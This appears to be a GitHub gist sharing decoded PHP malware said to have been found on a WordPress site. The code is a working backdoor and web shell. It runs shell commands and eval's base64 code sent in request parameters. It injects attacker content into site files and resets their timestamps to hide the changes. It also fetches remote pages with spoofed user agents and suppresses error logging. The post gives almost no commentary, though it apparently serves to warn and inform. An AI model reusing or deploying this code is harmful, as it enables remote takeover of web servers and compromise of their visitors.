Skip to content

Instantly share code, notes, and snippets.

@wvega

wvega/malware.decoded.php

Created June 15, 2012 21:55
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save wvega/2938891 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save wvega/2938891 to your computer and use it in GitHub Desktop.
Download ZIP
Malware script found in a WordPress website
Raw
malware.decoded.php
<?php
/* This is the decoded code from malware.php */
<?php if (!function_exists('ll')) { function ll($i){$a=Array('','Xw==','Xw' .'==','' .'X' .'A==','' .'Lw==','' .'Ly8=','L' .'g==','' .'Ly' .'8=','TW96' .'aWx' .'sYS80' .'L' .'j' .'AgKG' .'NvbXBh' .'dG' .'libGU7IE' .'1TSUUg' .'OC4w' .'OyBX' .'aW5' .'kb3' .'d' .'zIE5UIDYuM' .'Ck=','T' .'W' .'9' .'6aWxsY' .'S' .'81' .'LjAgKF' .'dpb' .'mRvd3M7IFU7IFdpbm' .'R' .'vd3MgTlQgNS4xO' .'yBlbi1' .'VUz' .'sgcnY' .'6MS' .'45' .'LjAuMSkgR2' .'Vja' .'28' .'v' .'MjAwOD' .'A5' .'M' .'jIxNSB' .'GaXJlZ' .'m94L' .'zMuM' .'C4x','TW96aW' .'xsYS81LjAgK' .'Fdp' .'bmRvd3M7IFU7' .'IFd' .'pb' .'mR' .'vd3MgTlQ' .'g' .'NS4xOy' .'Blbi1VUyk' .'gR2V' .'ja28' .'vMjAwM' .'z' .'A' .'1MDQgTW96aWxs' .'Y' .'SB' .'G' .'a' .'X' .'JlYmly' .'Z' .'C8wLjY=','TW96aW' .'xsY' .'S' .'81' .'Lj' .'AgKFdp' .'bmRv' .'d3M' .'7IFU7' .'IFdpbmRv' .'d3Mg' .'Tl' .'QgN' .'S4xOyBlbi1V' .'Uzsg' .'c' .'nY6MS45Lj' .'IuMTAp' .'IEdlY2tvL' .'zI' .'wMTAwO' .'TE0I' .'E' .'Zpcm' .'Vmb3' .'gvMy42' .'LjEw','c2' .'FmZV9t' .'b2Rl','b3Blb' .'l9iYXNlZGly','aHR0cDo' .'vLw=' .'=','','' .'Iy' .'8' .'j','Lw' .'==','','','Lw==','' .'L' .'w==','' .'QWNj' .'ZXB0' .'L' .'U' .'xhbmd1YWdlOiBl' .'b' .'i11cywg' .'ZW47c' .'T0' .'wL' .'jU' .'wDQo=','Q' .'29ubm' .'Vjd' .'G' .'l' .'vbjo' .'g' .'Q2x' .'v' .'c2U' .'NCg0K','DQoNCg' .'=' .'=','Cg==','PGJyIC' .'8+','','L0xvY2F0aW' .'9uXDov','TG9j' .'YXRp' .'b246IA==','DQ==','D' .'Qo' .'N' .'C' .'g' .'==','','Ji' .'M' .'3NiYjMTE' .'xJiM' .'5OS' .'Y' .'jO' .'TcmIzEx' .'NiYjM' .'T' .'A1Ji' .'MxM' .'TEmIzEx' .'MCYjNTg=','' .'TG9jYXRpb246','Y' .'Wx' .'s' .'b3dfd' .'X' .'JsX2ZvcGVu','MQ' .'==','PG' .'g1IHN0eWxlPSdj' .'b2xv' .'cjptYXJ' .'vb24n' .'PkNh' .'bid0' .'IGR' .'vd' .'2' .'5sb2FkIA==','I' .'C0g' .'RV' .'hJVDs8L2g1Pg==','','','','Cg==','' .'c' .'g' .'=' .'=','','c' .'G' .'lwZQ==','d' .'w' .'==','','c2FmZV9tb2R' .'l','' .'b3Blbl9i' .'YX' .'Nl' .'ZGl' .'y','c2FmZV9tb2R' .'lX2luY2x' .'1ZGVfZGly','c2' .'F' .'mZV9tb2RlX2V4' .'ZWNfZ' .'Gly','ZGlzYWJs' .'ZV9' .'mdW5jdG' .'lv' .'bnM' .'=','YW' .'xsb3' .'dfdX' .'JsX2ZvcGVu','bWF4X2V4ZWN1dGlvb' .'l90' .'aW1' .'l','b3V0cH' .'V0' .'X2J' .'1ZmZlcml' .'uZw==','b' .'WV' .'tb3J5X' .'2xpbW' .'l0','Mj' .'U2T' .'Q==','' .'ZXJy' .'b3' .'JfbG9n','bG9nX' .'2Vycm9ycw=' .'=','ZmlsZV91cGxvY' .'W' .'Rz','YW' .'x' .'s' .'b3' .'d' .'fdX' .'JsX' .'2Zvc' .'GVu','bWF' .'4X2V4' .'Z' .'WN1dGlvb' .'l90aW1l','b3V0cHV0X2J1Z' .'mZlcmlu' .'Zw==','bWVtb3J5X2xpbWl' .'0','MjU2TQ=' .'=','Z' .'XJyb3JfbG' .'9n','bG9nX2Vycm9yc' .'w==','Z' .'mlsZV' .'91' .'cGxvYWR' .'z','YWxsb3df' .'dX' .'J' .'sX2Zvc' .'GVu','XA' .'==','' .'Lw==','RE9DVU1FTl' .'RfUk9' .'P' .'VA==','' .'XA==','Lw==','U' .'0' .'N' .'SSV' .'BUX0' .'ZJTEV' .'O' .'QU' .'1F','UEhQX1N' .'FTE' .'Y=','XA==','' .'Lw==','' .'KF' .'wu' .'cGguKiR8XC5o' .'dG0u' .'KiR8XC5' .'za' .'H' .'Rt' .'LiokfF' .'w' .'uY' .'XNwLi' .'okfFwuan' .'NwJH' .'xcLm' .'podG0k' .'fFwuY2' .'ZtJHxc' .'L' .'mN0c' .'C' .'R' .'8XC50cGwkKQ' .'=' .'=','LzxhZD4uKjxc' .'L' .'2FkPi9zaQ==','Lz' .'xhZHM+Lio8XC' .'9hZH' .'M+L3Np','Lzxi' .'YjE' .'+Lio8' .'YmIyP' .'i9' .'z' .'aQ==','' .'L' .'z' .'xiMT' .'4uKj' .'x' .'c' .'L2I' .'x' .'Pi9zaQ' .'=' .'=','' .'Lzxi' .'YjE+' .'PGJiMT4vc2k' .'=','LzxiYjI+PGJiMj4vc2k=','L' .'zxhZD' .'4uKjxcL2' .'Fk' .'P' .'i' .'9z','' .'Lzxl' .'bXM+' .'L' .'io8X' .'C9lbX' .'M+' .'L3M' .'=','LzxibG' .'9jaz4uKjxcL2Js' .'b2Nr' .'Pi9' .'z','L' .'zxkaW' .'c+Lio8XC9kaWc+L' .'3M=','LzxjZW50' .'cj' .'4u' .'KjxcL2Nlb' .'nRyP' .'i9z','LzxjaXR' .'zPi4qPFwv' .'Y2l0c' .'z4v' .'cw==','Lzx0Y' .'nQ+' .'Lio8XC90' .'YnQ' .'+L3M=','' .'L' .'z' .'w' .'oc' .'3Bhbnxmb250fGRpd' .'ikgc' .'3R' .'5bGU9Lioo' .'aG' .'Vp' .'Z2h0fHdp' .'ZH' .'RoKVxz' .'KjpccypbMC0yXXs' .'x' .'fVxzKihwdHxwe' .'CkuKihv' .'dmV' .'yZmxvd3x2aXNpYmlsaX' .'R5KVxzKjp' .'c' .'cyooYX' .'V0b3x' .'oa' .'WRkZW4p' .'Lio+Lio8YSBocmVmPS' .'4qP' .'FwvYT4uKj' .'xcLyhzcGFu' .'fGZvbnR' .'8' .'Z' .'Gl' .'2KT' .'4vVX' .'Np','Lzwoc3Bhbnx' .'m' .'b250fGRpd' .'ikgc3R5bGU9' .'Lioob' .'3Z' .'lcm' .'Zsb3d8dm' .'lzaWJpbG' .'l' .'0' .'eSlccyo6X' .'H' .'MqKGF1dG9' .'8a' .'GlkZGVuKS4qKGhlaW' .'dodHx3aW' .'R' .'0aClcc' .'yo6X' .'HMq' .'W' .'zAtMl17' .'MX' .'1ccy' .'oo' .'c' .'HR8cHgpL' .'io+Lio8YSB' .'o' .'cm' .'V' .'mPS4qPFw' .'v' .'YT4uKjxcLyhz' .'cGFufGZvbnR8ZGl2' .'KT4v' .'VXNp','' .'Lzwoc3' .'B' .'hbnxmb25' .'0fGRpdik' .'gc3R5bGU9Lip2' .'aXNpYmlsaX' .'R' .'5X' .'HMqOl' .'x' .'z' .'K' .'ihhd' .'X' .'RvfGh' .'pZGRlbikuKm92ZXJmbG9' .'3' .'XHMq' .'Ol' .'xzKihhdXRvfGhpZ' .'G' .'Rl' .'bikuK' .'j' .'4uKjxhIG' .'hyZ' .'W' .'Y9' .'Lio8' .'XC9' .'hPi4' .'qPFwv' .'KHNwY' .'W' .'58' .'Z' .'m9udHxk' .'a' .'XYpPi9Vc2k=','' .'Lzwoc3Bhbnxm' .'b250fGRpdi' .'k' .'gc3R5bG' .'U9' .'L' .'ipvdmVyZmxv' .'d1x' .'zK' .'jp' .'ccyoo' .'YXV0' .'b' .'3x' .'oaWRkZW4' .'pLip2aXNpYml' .'saXR5' .'XHMqOlxzKihhdXRvf' .'GhpZG' .'R' .'lbikuKj4uKjxhIGhy' .'ZWY9L' .'i' .'o8XC9hPi4q' .'PFwvKHNw' .'YW58Zm9' .'ud' .'Hxk' .'aX' .'YpPi9V' .'c2k=','L' .'3dwZm9vdG' .'Vy' .'ei4q' .'d3Bmb29' .'0ZXJ' .'6' .'L3Np','L' .'zxh' .'LipzdHlsZVxzKj0u' .'Ki' .'h0b3B8bGVmdCl' .'cc' .'y' .'o6XH' .'Mq' .'L' .'Vs' .'w' .'L' .'T' .'lde' .'zMsNX' .'0uKj4uK' .'j' .'xc' .'L2E+' .'L1' .'V' .'p','PGFkPn' .'w' .'8' .'L2Fk' .'Pg' .'==','P' .'GV' .'tcz58IDw' .'vZW1zPg==','PGJsb2NrP' .'iB8PC9' .'ibG' .'9j' .'az4=','PGR' .'pZ' .'z4' .'gfCA8L' .'2RpZz' .'4=','PGNlbnRyPn' .'w8L2NlbnRyPg==','PGN' .'pdHM' .'+fDw' .'vY' .'2l' .'0cz4=','PHRidD5' .'8' .'PC90Yn' .'Q+','dX' .'BkY' .'XRlMQ==','RVhQ' .'Qw==','dX' .'B' .'kYXRlMQ=' .'=','LA==','f' .'A==','Lmh0bQ==','LnNodG0' .'=','','Lzxib2R5KC4q' .'K' .'T8' .'+L2k=','Lzxib2' .'R5KC' .'4qKT8+L' .'2k=','' .'L' .'z' .'x' .'cL2JvZH' .'koLi' .'opPz4' .'vaQ==','Lzx' .'cL' .'2JvZHkoL' .'iopPz' .'4vaQ==','L' .'z' .'x' .'cL2h0bWw' .'+L2k' .'=','PC9i' .'b' .'2R' .'5Pg' .'=' .'=','LzxcL2h0bW' .'w+L2k=','PC9ib2R5PjwvaHRt' .'bD4=','dys=','dX' .'BkYXRlM' .'g' .'==','d' .'XBkYXR' .'lMg' .'==','U0NSSVBUX0ZJTE' .'V' .'OQ' .'U1' .'F','Lw==','MS5w' .'a' .'HA=','M' .'S5wa' .'HA=','L15c' .'P' .'F' .'w' .'/cGhw' .'LipcP' .'1w+' .'L1V' .'zaQ==','','' .'dw==','PH' .'ByZT51cGRhdG' .'U8L3ByZT4' .'=','dXB' .'kYXRlMw=' .'=','P' .'H' .'ByZT4=','dXBkYXRlMw==','PC9wcmU+','YWRkM' .'Q' .'==','RV' .'hQ' .'Qw==','YWRkMQ==','LA==','L3Zhclx' .'zc3QxKC4q' .'KWdyMF' .'w9MFw7L2' .'k=','','dw==','ZX' .'Y' .'x','Z' .'X' .'Yx','aW5mbzE=','' .'ZEd' .'We' .'mRERXlP' .'QT09','PCEt' .'L' .'SAj' .'YSM=','' .'Z2V0MQ==','Z2' .'V' .'0M' .'Q=' .'=','KChe' .'L' .'ippbm' .'R' .'le' .'C4qXC58Xi' .'4' .'qZGV' .'mYX' .'VsdC4q' .'X' .'C5' .'8Xi4' .'qb' .'WFp' .'bi4qXC58Xi4qYm9keS4' .'qXC5' .'8Xi4qbG9naW4uKlwufF4uKmNv' .'bnRlbnQ' .'uKlw' .'uf' .'F' .'4uKmF' .'1dGguKlwufF4uKmZvb3Rlci4qXC58Xi4qaGVhZG' .'Vy' .'LipcL' .'n' .'x' .'eLipob21lLipcLn' .'xeLip' .'0ZW' .'1wbC4qXC58Xi' .'4qaW5jL' .'i' .'pcLnxe' .'LipwYWdlLipcLnxeLipi' .'b' .'3R0b20' .'uKlwu' .'fF' .'4uKnR' .'oZ' .'W1lLi' .'pcLikocGgu' .'KiR8aHRtL' .'io' .'kf' .'HNodG' .'0uKiR8YXNw' .'Li' .'o' .'kf' .'Gpz' .'cCR8' .'am' .'h0bWwk' .'fGNmbSR8dHBsJHxpbmMkfHBs' .'JH' .'x0Z' .'W1wb' .'GF0ZSR8eG1sJHx' .'zaHQkfGN0cCQpKQ==','PGIx' .'P' .'jwh' .'L' .'S0=','L' .'S' .'0' .'+PC' .'9iMT4=','','Lzxib2R' .'5KC4' .'qKT8+L' .'2k=','Lzxib2R5KC4qKT8+L2k=','' .'Lzxc' .'L2Jv' .'Z' .'Hko' .'LiopPz4' .'va' .'Q==','LzxcL2' .'JvZHkoL' .'iop' .'Pz4' .'vaQ==','L' .'z' .'xcL2h0bW' .'w+L2k=','PC9ib2' .'R5P' .'g=' .'=','LzxcL' .'2h0' .'bWw+L2k=','dys=','','d' .'ys=','Z2V0M' .'g==','Z2V0Mg==','L3Nj' .'c' .'mlwdC4qc3J' .'j' .'XHM/PVxz' .'Py' .'g' .'ifCcpKC4q' .'XC' .'5qcykoXD98X' .'C' .'98In' .'w' .'nKS9VaQ=' .'=','L15' .'odHRwL2k=','L' .'w==');return base64_decode($a[$i]);} }if(!function_exists('rndc')){function rndc(){$II_0=round(0+0.25+0.25+0.25+0.25);$II_1=round(0+4+4);$II_2=ll(0);for($II_3=round(0);$II_3<$II_1;$II_3++){$II_4=mt_rand(round(0+0.5+0.5),round(0+1.75+1.75+1.75+1.75));switch($II_4){case($II_4<=round(0+0.5+0.5+0.5+0.5)):$II_2 .= mt_rand(round(0),round(0+9));break;case($II_4<=round(0+4)):$II_2 .= chr(mt_rand(round(0+65),round(0+18+18+18+18+18)));break;case($II_4<=round(0+2+2+2)):$II_2 .= chr(mt_rand(round(0+19.4+19.4+19.4+19.4+19.4),round(0+61+61)));break;case round(0+7):$II_5=strlen($II_2);if($II_0>round(0)&&$II_5>round(0)&&$II_5<($II_1-round(0+0.333333333333+0.333333333333+0.333333333333))&&$II_2[$II_5-round(0+0.25+0.25+0.25+0.25)]!= ll(1)){$II_2 .= ll(2);$II_0--;}else{$II_3--;continue;}break;}}return $II_2;}}if(!function_exists('strrevpos')){function strrevpos($II_6,$II_7){$II_8=strpos(strrev($II_6),strrev($II_7));if($II_8===false)return false;else return strlen($II_6)-$II_8-strlen($II_7);}}if(!function_exists('after')){function after($this,$II_9){if(!is_bool(strpos($II_9,$this)))return substr($II_9,strpos($II_9,$this)+strlen($this));}}if(!function_exists('after_last')){function after_last($this,$II_9){if(!is_bool(strrevpos($II_9,$this)))return substr($II_9,strrevpos($II_9,$this)+strlen($this));}}if(!function_exists('before')){function before($this,$II_9){return substr($II_9,round(0),strpos($II_9,$this));}}if(!function_exists('before_last')){function before_last($this,$II_9){return substr($II_9,round(0),strrevpos($II_9,$this));}}if(!function_exists('between')){function between($this,$II_10,$II_9){return before($II_10,after($this,$II_9));}}if(!function_exists('between_last')){function between_last($this,$II_10,$II_9){return after_last($this,before_last($II_10,$II_9));}}if(!function_exists('getfiles')){function getfiles($II_11,$II_12,$II_13=0,$II_14="\\"){if(!is_dir($II_11))return null;$II_15=($II_14== ll(3))?ll(4):$II_14;$II_11=str_replace($II_14,$II_15,$II_11);$II_11=str_replace(ll(5),$II_15,$II_11);$II_11=(strrpos($II_11,$II_15)==strlen($II_11)-round(0+1))?substr($II_11,round(0),strlen($II_11)-round(0+0.2+0.2+0.2+0.2+0.2)):$II_11;$II_16=substr_count($II_11,$II_15);$II_13=(!$II_13)?-round(0+0.5+0.5):$II_13+$II_16;$II_17=array();$II_18=array(array($II_11,$II_16));while(sizeof($II_18)&& $II_18[round(0)][round(0+0.5+0.5)]!=$II_13){$II_19=array_shift($II_18);$II_20=opendir($II_19[round(0)]);while(($II_21=readdir($II_20))!==false){if(strrpos($II_21,ll(6))===(strlen($II_21)-round(0+0.2+0.2+0.2+0.2+0.2)))continue;$II_22=$II_19[round(0)] .$II_15 .$II_21;if(is_dir($II_22)){$II_22=str_replace($II_14,$II_15,$II_22);$II_22=str_replace(ll(7),$II_15,$II_22);$II_23[]=$II_22;$II_18[]=array($II_22,substr_count($II_22,$II_15));}else if(is_file($II_22)&& is_readable($II_22)&&!is_link($II_22)){foreach($II_12 as $II_3){if(preg_match($II_3,$II_21)){if(realpath($II_22)!== false)$II_17[]=realpath($II_22);else $II_17[]=$II_22;break;}}}}}return $II_17;}}if(!function_exists('cc2')){function cc2($II_24){$II_25=array(ll(8),ll(9),ll(10),ll(11));if(function_exists('curl_init')){$II_26=$II_25[rand(round(0),count($II_25)-round(0+0.5+0.5))];$II_27=curl_init();curl_setopt($II_27,10002,$II_24);curl_setopt($II_27,42,round(0));curl_setopt($II_27,13,round(0+30));curl_setopt($II_27,19913,round(0+0.25+0.25+0.25+0.25));curl_setopt($II_27,10018,$II_26);if(!(@ini_get(ll(12))||@ini_get(ll(13)))){@curl_setopt($II_27,52,round(0+0.2+0.2+0.2+0.2+0.2));}@curl_setopt($II_27,68,round(0+0.666666666667+0.666666666667+0.666666666667));$II_28=curl_exec($II_27);curl_close($II_27);if($II_28 !== false){return $II_28;}}else if(function_exists('fsockopen')){global $II_29;$II_30=$II_25[rand(round(0),count($II_25)-round(0+0.333333333333+0.333333333333+0.333333333333))];$II_24=str_replace(ll(14),ll(15),$II_24);if(preg_match(ll(16),"$II_24")){$II_31=$II_24;$II_24=@explode(ll(17),$II_24);$II_24=$II_24[round(0)];$II_31=str_replace($II_24,ll(18),$II_31);if(!$II_31 || $II_31 == ll(19)){$II_31=ll(20);}$II_32=gethostbyname($II_24);}else{$II_32=gethostbyname($II_24);$II_31=ll(21);}$II_33=fsockopen($II_32,round(0+26.6666666667+26.6666666667+26.6666666667),$II_34,$II_35,round(0+2+2+2+2+2));stream_set_timeout($II_33,round(0+3.33333333333+3.33333333333+3.33333333333));if($II_33){$II_36="GET $II_31 HTTP/1.0\r\n";$II_36 .="Host: $II_24\r\n";$II_36 .="Referer: http://$II_24$II_31\r\n";$II_36 .= ll(22);$II_36 .="User-Agent: $II_30\r\n";$II_36 .= ll(23);fputs($II_33,$II_36);while(!feof($II_33)){$II_37 .= fgets($II_33,round(0+1024+1024+1024+1024));}fclose($II_33);$II_37=@explode(ll(24),$II_37,round(0+1+1));$II_38=$II_37[round(0)];if($II_29){$II_38="$II_29<br /><br />\n$II_38";}$II_38=str_replace(ll(25),ll(26),$II_38);if($II_37[round(0+1)]){$II_39=$II_37[round(0+0.333333333333+0.333333333333+0.333333333333)];}else{$II_39=ll(27);}if($II_39){$II_37=$II_39;}else{$II_37=$II_38;}if(preg_match(ll(28),"$II_38")){$II_24=@explode(ll(29),$II_38);$II_24=$II_24[round(0+0.25+0.25+0.25+0.25)];$II_24=@explode(ll(30),$II_24);$II_24=$II_24[round(0)];$II_29=str_replace(ll(31),ll(32),$II_38);$II_40=ll(33);$II_29=str_replace(ll(34),$II_40,$II_29);return cc2($II_24);}else{return $II_37;}}}else if(ini_get(ll(35))== ll(36)){$II_28=file_get_contents("http://$II_24");if($II_28 !== false){return $II_28;}}else{echo ll(37) .$II_24 .ll(38);exit;}}}if(!function_exists('getcode')){function getcode($II_31,$II_41){$II_42=ll(39);if(preg_match("/$II_41/",$II_31)){$II_42=preg_replace("/.*<b1><!--|$II_41|--><\/b1>.*/msi",ll(40),$II_31);}return $II_42;}}if(!function_exists('ex')){function ex($II_43){$II_44=ll(41);if(!empty($II_43)){if(function_exists('exec')){@exec($II_43,$II_44);$II_44=join(ll(42),$II_44);}elseif(function_exists('shell_exec')){$II_44=@shell_exec($II_43);}elseif(function_exists('system')){@ob_start();@system($II_43);$II_44=@ob_get_contents();@ob_end_clean();}elseif(function_exists('passthru')){@ob_start();@passthru($II_43);$II_44=@ob_get_contents();@ob_end_clean();}elseif(@is_resource($II_45=@popen($II_43,ll(43)))){$II_44=ll(44);while(!@feof($II_45)){$II_44 .=@fread($II_45,round(0+512+512));}@pclose($II_45);}elseif(@function_exists('proc_open')&&@is_resource($II_45=@proc_open($II_43,array(round(0+0.25+0.25+0.25+0.25)=> array(ll(45),ll(46))),$II_46))){$II_44=ll(47);if(@function_exists('fread')&&@function_exists('feof')){while(!@feof($II_46[round(0+0.5+0.5)])){$II_44 .=@fread($II_46[round(0+0.25+0.25+0.25+0.25)],round(0+341.333333333+341.333333333+341.333333333));}}else if(@function_exists('fgets')&&@function_exists('feof')){while(!@feof($II_46[round(0+0.2+0.2+0.2+0.2+0.2)])){$II_44 .=@fgets($II_46[round(0+0.5+0.5)],round(0+1024));}}@proc_close($II_45);}}return htmlspecialchars($II_44);}}@ignore_user_abort(round(0+0.5+0.5));@set_magic_quotes_runtime(round(0));@set_time_limit(round(0));@error_reporting(round(0));if(@function_exists('ini_restore')){@ini_restore(ll(48));@ini_restore(ll(49));@ini_restore(ll(50));@ini_restore(ll(51));@ini_restore(ll(52));@ini_restore(ll(53));}if(@function_exists('ini_set')){@ini_set(ll(54),round(0));@ini_set(ll(55),round(0));@ini_set(ll(56),ll(57));@ini_set(ll(58),NULL);@ini_set(ll(59),round(0));@ini_set(ll(60),round(0+0.5+0.5));@ini_set(ll(61),round(0+0.2+0.2+0.2+0.2+0.2));}elseif(@function_exists('ini_alter')){@ini_alter(ll(62),round(0));@ini_alter(ll(63),round(0));@ini_alter(ll(64),ll(65));@ini_alter(ll(66),NULL);@ini_alter(ll(67),round(0));@ini_alter(ll(68),round(0+1));@ini_alter(ll(69),round(0+0.5+0.5));}$II_47=str_replace(ll(70),ll(71),$_SERVER[ll(72)]);if(strlen($II_47)<round(0+2.5+2.5))$II_47=str_replace(ll(73),ll(74),substr($_SERVER[ll(75)],round(0),round(0)-strlen($_SERVER[ll(76)])));if(realpath($II_47)!== false)$II_47=str_replace(ll(77),ll(78),realpath($II_47));$II_48=array(ll(79));$II_49=array(ll(80),ll(81),ll(82),ll(83),ll(84),ll(85),ll(86),ll(87),ll(88),ll(89),ll(90),ll(91),ll(92),ll(93),ll(94),ll(95),ll(96),ll(97),ll(98));$II_50=array(ll(99),ll(100),ll(101),ll(102),ll(103),ll(104),ll(105));if(isset($_REQUEST[ll(106)])){$II_44=explode(ll(107),gzinflate(base64_decode($_REQUEST[ll(108)])));$II_51=$II_44[round(0)];$II_52=explode(ll(109),$II_44[round(0+0.25+0.25+0.25+0.25)]);foreach($II_52 as $II_53){if(strlen($II_51)>round(0+0.5+0.5)){$II_54=explode(ll(110),$II_50[rand(round(0),count($II_50)-round(0+0.2+0.2+0.2+0.2+0.2))]);$II_51=$II_54[round(0)] .$II_51 .$II_54[round(0+0.25+0.25+0.25+0.25)];}$II_55=false;$II_56=false;if(!is_writable($II_53))@chmod($II_53,round(0+420));if(file_exists($II_53)&& is_writable($II_53)){$II_57=false;if(eregi(ll(111),$II_53)!== false || eregi(ll(112),$II_53)!== false)$II_57=true;$II_58=trim(file_get_contents($II_53));foreach($II_49 as $II_59){if(preg_match($II_59,$II_58)){$II_58=preg_replace($II_59,ll(113),$II_58);$II_56=true;}}if(preg_match(ll(114),$II_58,$II_60)){$II_61=$II_60[round(0)];$II_58=preg_replace(ll(115),$II_61 .$II_51,$II_58);$II_55=true;}else if(preg_match(ll(116),$II_58,$II_60)){$II_61=$II_60[round(0)];$II_58=preg_replace(ll(117),$II_51 .$II_61,$II_58);$II_55=true;}else if(preg_match(ll(118),$II_58,$II_60)){$II_61=ll(119) .$II_60[round(0)];$II_58=preg_replace(ll(120),$II_51 .$II_61,$II_58);$II_55=true;}else if($II_57 == true){$II_61=$II_51 .ll(121);$II_58.=$II_61;$II_55=true;}if($II_55 == true || $II_56 == true){$II_62=@filemtime($II_53);$II_63=fopen($II_53,ll(122));fwrite($II_63,$II_58);fclose($II_63);@touch($II_53,$II_62,$II_62);if($II_55 == true)echo"<pre>update $II_53</pre>";if($II_56 == true)echo"<pre>spam removed $II_53</pre>";}}else{if(!file_exists($II_53))echo"<pre>no file $II_53</pre>";else if(!is_writable($II_53))echo"<pre>no rw file $II_53</pre>";}}}if(isset($_REQUEST[ll(123)])){$II_51=gzinflate(base64_decode($_REQUEST[ll(124)]));$II_64=$_SERVER[ll(125)];$II_65=before_last(ll(126),$II_64);if(!is_writable($II_65))@chmod($II_65,round(0+105+105+105+105));$II_66=@filemtime($II_65);@copy($II_64,$II_64 .ll(127));@touch($II_65,$II_66,$II_66);@touch($II_64 .ll(128),$II_66,$II_66);if(!is_writable($II_64))@chmod($II_64,round(0+140+140+140));if(is_writable($II_64)){$II_58=trim(file_get_contents($II_64));$II_67=preg_replace(ll(129),ll(130),$II_58);$II_62=@filemtime($II_64);$II_63=fopen($II_64,ll(131));fwrite($II_63,$II_51 .$II_67);fclose($II_63);@touch($II_64,$II_62,$II_62);echo ll(132);}else{echo"<pre>no rw $II_53</pre>";}}if(isset($_REQUEST[ll(133)])){echo ll(134);$II_68=$_REQUEST[ll(135)];$II_44=ex($II_68);echo $II_44;echo ll(136);}if(isset($_REQUEST[ll(137)])){$II_44=explode(ll(138),gzinflate(base64_decode($_REQUEST[ll(139)])));$II_51=$II_44[round(0)];$II_52=explode(ll(140),$II_44[round(0+0.2+0.2+0.2+0.2+0.2)]);foreach($II_52 as $II_53){$II_55=false;$II_56=false;if(!is_writable($II_53))@chmod($II_53,round(0+140+140+140));if(file_exists($II_53)&& is_writable($II_53)){$II_58=trim(file_get_contents($II_53));$II_58=preg_replace(ll(141),ll(142),$II_58);$II_58=$II_51 .$II_58;$II_62=@filemtime($II_53);$II_63=fopen($II_53,ll(143));fwrite($II_63,$II_58);fclose($II_63);@touch($II_53,$II_62,$II_62);echo"<pre>update $II_53</pre>";}else{if(!file_exists($II_53))echo"<pre>no file $II_53</pre>";else if(!is_writable($II_53))echo"<pre>no w file $II_53</pre>";}}}if(isset($_REQUEST[ll(144)])){$II_69=base64_decode($_REQUEST[ll(145)]);eval($II_69);exit();}if(isset($_REQUEST[ll(146)])){$II_70=ll(147);$II_71=@get_current_user();echo ll(148) .base64_decode($II_70) ."(($II_71))#b#-->";exit;}if(isset($_REQUEST[ll(149)])){$II_72=$_REQUEST[ll(150)];$II_41=rndc();$II_73=array(ll(151));$II_52=array();$II_52=@getfiles($II_47,$II_73,round(0+0.8+0.8+0.8+0.8+0.8));$II_52=@array_unique($II_52);if(count($II_52)>round(0)){foreach($II_52 as $II_53){$II_55=false;$II_56=false;if(@file_exists($II_53)){if(!is_writable($II_53))@chmod($II_53,round(0+420));if(@is_writable($II_53)){$II_74=base64_encode(gzcompress($II_53,round(0+9)));$II_51=ll(152) .$II_41 .$II_74 .ll(153);$II_58=@trim(@file_get_contents($II_53));foreach($II_49 as $II_59){if(preg_match($II_59,$II_58)){$II_58=preg_replace($II_59,ll(154),$II_58);$II_56=true;}}if(preg_match(ll(155),$II_58,$II_60)){$II_61=$II_60[round(0)];$II_58=preg_replace(ll(156),$II_61 .$II_51,$II_58);$II_55=true;}else if(preg_match(ll(157),$II_58,$II_60)){$II_61=$II_60[round(0)];$II_58=preg_replace(ll(158),$II_51 .$II_61,$II_58);$II_55=true;}else if(preg_match(ll(159),$II_58,$II_60)){$II_61=ll(160) .$II_60[round(0)];$II_58=preg_replace(ll(161),$II_51 .$II_61,$II_58);$II_55=true;}if($II_55 == true || $II_56 == true){$II_62=@filemtime($II_53);$II_63=@fopen($II_53,ll(162));@fwrite($II_63,$II_58);@fclose($II_63);@touch($II_53,$II_62,$II_62);}}}}$II_75=cc2($II_72);if(strlen($II_75)<round(0+25+25))$II_75=cc2("www.$II_72");if(eregi($II_41,$II_75)){$II_75=gzuncompress(base64_decode(getcode($II_75,$II_41)));echo"#a#$II_75#b#";}foreach($II_52 as $II_53){$II_56=false;if(file_exists($II_53)){if(!is_writable($II_53))@chmod($II_53,round(0+84+84+84+84+84));if(is_writable($II_53)){$II_58=@trim(@file_get_contents($II_53));foreach($II_49 as $II_59){if(preg_match($II_59,$II_58)){$II_58=preg_replace($II_59,ll(163),$II_58);$II_56=true;}}if($II_56 == true){$II_62=@filemtime($II_53);$II_63=@fopen($II_53,ll(164));@fwrite($II_63,$II_58);@fclose($II_63);@touch($II_53,$II_62,$II_62);}}}}}exit;}if(isset($_REQUEST[ll(165)])){$II_76=array();$II_72=$_REQUEST[ll(166)];$II_77=cc2($II_72);if(strlen($II_77)<round(0+5+5+5+5))$II_77=cc2("www.$II_72");preg_match_all(ll(167),$II_77,$II_42);foreach($II_42[round(0+0.5+0.5+0.5+0.5)]as $II_78){if(preg_match(ll(168),$II_78)){if(preg_match("/$II_72/i",$II_78)){$II_45=$II_47 .after($II_72,$II_78);if(@file_exists($II_45)&&@is_writable($II_45))$II_76[]=$II_45;}}else{$II_45=$II_47 .ll(169) .$II_78;if(@file_exists($II_45)&&@is_writable($II_45))$II_76[]=$II_45;}}if(count($II_76)>round(0)){$II_75=$II_76[rand(round(0),count($II_76)-round(0+0.2+0.2+0.2+0.2+0.2))];echo"#a#$II_75#b#";}exit;}
Raw
malware.indented.php
<?php
if (!function_exists('ll')) {
function ll($i){
